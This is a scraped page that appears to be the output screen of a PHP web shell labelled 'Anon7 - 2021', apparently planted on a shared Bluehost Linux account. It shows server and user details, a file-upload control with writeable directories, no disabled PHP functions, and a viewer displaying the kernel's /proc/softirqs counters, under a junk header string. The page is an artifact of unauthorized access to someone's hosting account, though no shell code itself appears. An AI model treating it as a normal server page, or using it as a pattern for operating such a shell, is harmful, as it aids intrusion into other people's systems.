KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          4          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER: 1682451510 2750732626 1035182082 2693212507 2389234051 2167667107 2030047674 1917705394 1842174661 1780064074 1730824087 1691252620 1660610980 1642424451 1591797025 1633979356
      NET_TX:    5630225    5342230  266772793    4808758    4405877    4124413    3940215    3817633    3718115    3643657    3581558    3539123    3491616    3472220    3440761    3424792
      NET_RX:  151430021  156066830  553955057  154599779  154763131  153557987  153676444  152558825  152664764  152070675  151888148  152168631  151892093  151421234  150798211  151279445
       BLOCK:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:     469194     460011    3432458     449947     441868     436646     433985     431169     428075     428107     426471     427643     422848     425769     422490     421131
       SCHED: 2397305968 1697620416 1922052151 1445767087 1351222001 1299088163 1270197992 1250771136 1236663235 1226536765 1219623099 1214678435 1209727323 1206903956 1200453337 1197471845
     HRTIMER:        400        480    2010031        442        435        486        532        462        364        529        426        529        473        434        437        436
         RCU: 2136421206 2790996706 3557478460 2750890173 2571020219 2432697421 2350537397 2280741499 2232711554 2192897450 2163120620 2136396676 2118236947 2105448565 2077586440 2105583287

Anon7 - 2021